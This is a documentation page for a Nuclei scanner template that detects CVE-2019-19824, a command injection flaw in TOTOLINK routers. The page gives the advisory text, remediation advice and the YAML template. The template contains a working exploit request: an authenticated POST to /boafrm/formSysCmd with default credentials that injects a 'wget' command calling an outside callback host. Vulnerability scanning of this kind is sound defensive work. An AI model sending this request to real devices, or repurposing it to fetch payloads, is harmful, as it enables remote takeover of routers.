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TOTOLINK Realtek SD Routers - Remote Command Injection

ID: CVE-2019-19824

Severity: high

Author: gy741

Tags: cve,cve2019,totolink,rce,router

Description

Section titled “Description”

TOTOLINK Realtek SDK based routers may allow an authenticated attacker to execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not available. This allows for full control over the device’s internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, and N100RE through 3.4.0.

YAML Source

Section titled “YAML Source”
id: CVE-2019-19824


info:
  name: TOTOLINK Realtek SD Routers - Remote Command Injection
  author: gy741
  severity: high
  description: |
    TOTOLINK Realtek SDK based routers may allow an authenticated attacker to execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not available. This allows for full control over the device's internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, and N100RE through 3.4.0.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the vulnerability.
  reference:
    - https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html
    - https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19824
    - https://sploit.tech
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-19824
    cwe-id: CWE-78
    epss-score: 0.96343
    epss-percentile: 0.99519
    cpe: cpe:2.3:o:totolink:a3002ru_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: totolink
    product: a3002ru_firmware
  tags: cve,cve2019,totolink,rce,router


http:
  - raw:
      - |
        POST /boafrm/formSysCmd HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46cGFzc3dvcmQ=
        Content-Type: application/x-www-form-urlencoded


        submit-url=%2Fsyscmd.htm&sysCmdselect=5&sysCmdselects=0&save_apply=Run+Command&sysCmd=wget+http://{{interactsh-url}}


    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a004730450220625ad43a2f45282b62e58c1c2cd6de926060986cf7159aa4e7d9e3ade449e63c022100c7c4fd3b46fa774a7d00a808525c16879da64464493373fe7501562aa7c4c819:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-19824.yaml"

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